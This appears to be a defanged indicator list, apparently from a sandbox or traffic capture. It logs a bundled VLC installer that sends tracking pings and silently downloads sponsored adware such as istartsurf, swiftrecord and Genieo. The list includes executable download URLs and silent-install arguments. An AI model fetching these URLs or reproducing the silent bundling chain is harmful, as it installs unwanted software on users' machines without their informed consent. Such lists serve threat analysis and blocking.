hxxp://d3mdjn4wfmheda.cloudfront.net/sponsored/istartsurf/eula-istartsurf.html	54.192.231.18
hxxp://d1jawciiqjso8h.cloudfront.net/affiliates/filesfrog/eula.html	54.192.231.9
hxxp://d3mdjn4wfmheda.cloudfront.net/sponsored/swiftrecord/eula-swiftrecord.html	54.192.231.18
hxxp://d3mdjn4wfmheda.cloudfront.net//images/Tokyo/tokyo_default_logo.png	54.192.231.18
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=1981246019&utmhn=bi.bisrv.com&utmhid=1218214819&utmr=-&utmp=Installer_Init&utmht=1431730894392&utmac=UA-31676879-1&utmcc=__utma=1.1626043335.1431730894.1431730894.1431730894.1;+__utmz=1.1431730894.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=998541745&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://mirror.frogdownload.com/software_files/vlc/2_0_2/vlc-2.0.2-win32.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.3946411919204644
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=1&index_in_screen=1&index_in_session=1&0.18410186262342382
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.48067369232473655
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=2&index_in_screen=1&index_in_session=2&0.4797686838008186
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5474319389293536
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=3&index_in_screen=1&index_in_session=3&0.7966780592631134
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.8565816280575826
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=4&index_in_screen=1&index_in_session=4&0.6510231396219358
hxxp://installer.betterinstaller.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/4dfad7cc08236142b5420a1deefa56ef?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=4dfad7cc08236142b5420a1deefa56ef&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=2&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=2&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=3&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=3&offers[geneio_non_search_for_pc][exec_args]= /bi_sponsored_sub_process /run_bi&offers[geneio_non_search_for_pc][offer_indexes][slot_number]=4&offers[geneio_non_search_for_pc][offer_indexes][index_in_screen]=1&offers[geneio_non_search_for_pc][offer_indexes][index_in_session]=4&uid_orig=226e0daa89188549baf0d586a6bc816b&uid=4dfad7cc08236142b5420a1deefa56ef&tokyo_csrf_key=4b40d34c6dda2ca199f32e3217b68725&tokyo_csrf_timestamp=1431730938&ffInstalled=false&dfz=false&affid=network_smb_indostreamix&sid=vlcmediaplayerelzy&country=UA&hostBrowser=ff&unique_id=1e49cbf272b0b1cc3bcc98a4a55de57c
hxxp://installer.betterinstaller.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=2&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=2&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=3&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=3&offers[geneio_non_search_for_pc][exec_args]= /bi_sponsored_sub_process &offers[geneio_non_search_for_pc][offer_indexes][slot_number]=4&offers[geneio_non_search_for_pc][offer_indexes][index_in_screen]=1&offers[geneio_non_search_for_pc][offer_indexes][index_in_session]=4&uid_orig=226e0daa89188549baf0d586a6bc816b&uid=e1b8a78c0881034aa57a76140e007cf2&tokyo_csrf_key=354c5b235289dd96bc6e158bad839f24&tokyo_csrf_timestamp=1431730938&ffInstalled=false&dfz=false&affid=network_smb_indostreamix&sid=vlcmediaplayerelzy&country=UA&hostBrowser=ff&unique_id=1e49cbf272b0b1cc3bcc98a4a55de57c
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.9169541453657197
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.38615138464093273
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=istartsurf&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=2&index_in_screen=1&index_in_session=2&0.7674401945976054
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.14770431837924597
hxxp://d3mdjn4wfmheda.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.192.231.18
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.192.231.13
hxxp://www.girlliuxiaowei.com/home/smt_istartsurf.exe	208.43.230.100
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=eISsn0A7mAaebxLgvS5H7j0Z7sea5zO dizNi2MXZhw4pnkd WsjWQQHUomMkl9QATvQoDxleFsDxgJnHj3vjx0oWXzPcOQmVR5AawbKoxpMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKumYTzO WELM7Ot/W9fkCR9SjNNCmotLODkERNHBe5a3/5OmEDwJ/nJknf/oU1icLED21v7/3egnkeX/OTNNvo uXwpg8JljDTKpSMpKqvxG3BDQCeFa5Dmqsur1svdrsvrhGKLfFHt1V7tjIGA6N0xQaCfxaep5ymulPRjhMDBkG6r3u1mplIWWDaMPuOqYp9ww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XddWzpj60AbYw==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/13203.ashx?e=2v0SNuZrMFzXE3CBqGdJya372E7NlAtQABXIBdploCiMDmRWpWBZ0CAvELRpepitjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/13203.ashx?e=2v0SNuZrMFzXE3CBqGdJya372E7NlAtQABXIBdploCiMDmRWpWBZ0CAvELRpepitjKjHf0fty0hNrAfuvjC4u/NH4Kgw0ruGWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/t.ashx?e=wlkQ3WKgYpT/HsUBn07KUowWqg5Eat/CW6KtgZYBj4N4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6NzYZ/unMPuNaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=1&index_in_screen=1&index_in_session=1&0.6873948403881654
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/13203.ashx?e=4mC0vXGWFtrPpyTTOfle7D0Z7sea5zO MKeV1roKInb8ln8Iap23/wrmOSgIBLqiUA7dl9owwhIPEcssM3H6BwcMGt0/Dg2JnD 5kGdtqDY/6u1vnkbiIPRHQ43CnbXvFjCwIjKziMWX1FtTkCv6XAgBB/YLD79J333RAvM0VMCZqxZiyeETNLTR ekXyJzPs IILilpWF21ljcmfunUI3wf26j4CvnDQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyxUZfK0BbRhO kUF8L/UYVfWwXHQCLmSe6mN2Jsoiv0C3E2wOafKrBS	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=W5y9y1UrGBmidLNtGGzWYU7rJDSm VNK1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZY6XgoNtHCHtXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=W5y9y1UrGBmidLNtGGzWYU7rJDSm VNK1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZY6XgoNtHCHtXf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqElJDbT23fvBEnqM x5Lofqsq nFs/xGcCvWEaIOFylF6wnCeAYRjCxSn 64fsonTd2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/install.ashx?e=Ka qOJkckoXHjWHokC5IQCMfVLVpDA5X8UqHvUhinpROltvoj5oECStbFykGQeFJDeQKlJvveialrJqc9qQAK1HmS0Zrngqa6Ha6Ow3g2rrj3 CvjB98G1GtCg9PrzUnZPIZBVxWPMSIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsy5 wx ILhhS1qgTPL7jymlK4iUIGEzXSrL Evyupn5FoSAG857z6vS3i28c06HcJzw6k2WyEzVaiE2MX7f2ZK72fyKJ1Wgj90hSGXxmbSCTDqH4uNI47xgDxKQOcEi7gDL Evyupn5FoSAG857z6vSJoFp5BSgEe3Or7WZbrDrQA0K6wxeD7aRji4XER0T3SsRjhY3fDkRrRGH92XQHP1g8svjkMkOLYxtnlzuV8QGbxOn8Zt7Uvfxo7rTqA4tGAvJ3g/46853GMtCsCrExr/dLTgcouY3pl/G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l75z3VpsTY1Y9NtefOTH4UqZ5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy0pzxpXbszpD	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/t.ashx?e=j7YMo/n29XMLjT49fHfOTKKBRU2urqEn/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lx SVjrzujXJuLt6BhzfOsDsdipVbPJvC6kpVRpoAJ8AwjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tzfMa2zgJTnw==	198.232.124.192
hxxp://a1726.d.akamai.net/sd?is=sm
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/13203.ashx?e=A3ANzFv7fWALjT49fHfOTKKBRU2urqEn/WD6e6SZIIExLHUkaU0662DlNcv2CDURCD4lfYxy1XF2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flXwF8xC533Fcga zuhV9q9F7H ln2NtHiy86PStrvhRRGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3/ZDGtqceVP4 iq7B1sUrV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29oKKSszP/5sIzto5FeRYZjTILRMK0uPbozNdYoFk7JaOSub7kXmhLMyGGp Djvv1Sk=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=yhrBLBbZM9XZ/Qu8ewVmadZ/7x4XnQsxsg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybWLazpewXw1hJrxsBNiLaIoQ/YD6Ylfh4s IILilpWF3SrJmHujm63CsyUOo1FNpRnK58B7 vg9JI4PFOXq Sm2/D9rnod6Atn497yrXAWT5LUtYGLIDr9jIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPTqgRW4HbD4bYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaCikrMz/ bCM7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMhhqfg4779Up	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=yhrBLBbZM9XZ/Qu8ewVmadZ/7x4XnQsxsg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybWLazpewXw1iOTz1mAXFvBrPiCC4paVhd51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGB0VQjjQGElPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8tKc8aV27M6Qw==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/yta33_full.exe	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaCikrMz/ bCM7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMhhqfg4779Up	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAezhqBxvppgbPaoY7TL7kjxnI8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8tKc8aV27M6Qw==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCBJyuB1u/1DIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPcrcuUqCSC44=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhdfnT/0Z jrL9FpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZQ8RyywzcfoHBwwa3T8ODYmcP7mQZ22oNj/q7W eRuIgzcPe3ThP39Y=	198.232.124.192
hxxp://54.231.34.97/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtQFyGFTg6bSYHl7SsVu0EN2ltoT7k41XPub/WK4pseWXeDTO6L2KLXHkYMF1sFL98=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VSMShYYQCF9/JscN vLrCo6Y7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsVGXytAW0YTvpFBfC/1GFX1sFx0Ai5knupjdibKIr9AtxNsDmnyqwUg==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VHjGYjGl0N5sE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux94iIt7FscEyIm9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLaz074LCUmuYA==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPnPknLN9u16ASmF904v4t2D1NA7tXD3CmC73NeQp8SPtVWImRA6nvXyemsIrBY4kGYmnYHoNvmS0wjwsXSvUcVI6Z8Wlm3oZOE/Ow1jdI7tmsPjJfVfuaLDjEDeHJGt1uwDsaRajMf3YDSvXJPFDaFtXAs3XRcvNCfTm 4WEJYsdGqHtv2oE0WIbZOd1Z hx8BPIOGLdaeOjR sDLwnn1132uAG1IrkYwnafAodXicqFMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfeIiLexbHBMiJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2s9O CwlJrmA=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQxif0o9fDfziIWpgU8OD6Y4G r 3F6T7vrZfSMZOBD0PEr/Af2Blr2dVm6duC02rjzFRiuaQ/ZM1PFn8yow0OxBJeQlwjVbw0bQp3LrD9wFy7fwPfdQyks3aK7WMV1mNb4nh7Zuj/WLqPz/o89hHBxXqXpc2s1o7TwnkosslquiFY43 wW0aNqe8ifHXDY89WL3FpwV1CAqnvInx1w2PPc2VD/MtGD91X6uTd7zWY/SJxaCZD XFLYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8iywNY6L/ueds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5U=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19V5yF80LcSiUprLQLaeFmmuxQC drCF7eFBnVIr3mA12sFsK7/Ya3qp3H4CQmKwMH4r9Jhf/fTQpezt6pbQmh/1TAyVFa8Kky4wWiZseMklSFEZLrLhs96otwo5V3AagblXQpk3ufzer4FsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv61eLAdt2STwvhnJsfssGenaftxp29cdet/75Tb6nvI6oZN041sf6R9PPE5RP1LOLdZ3vEKumRhmNpxnQKqBcIRK93Qlsgdg5HvI0hVeZ5GjYH8hyAaL5CajGlYHodqc6ZHHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCBJyuB1u/1DIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPcrcuUqCSC44=	198.232.124.192
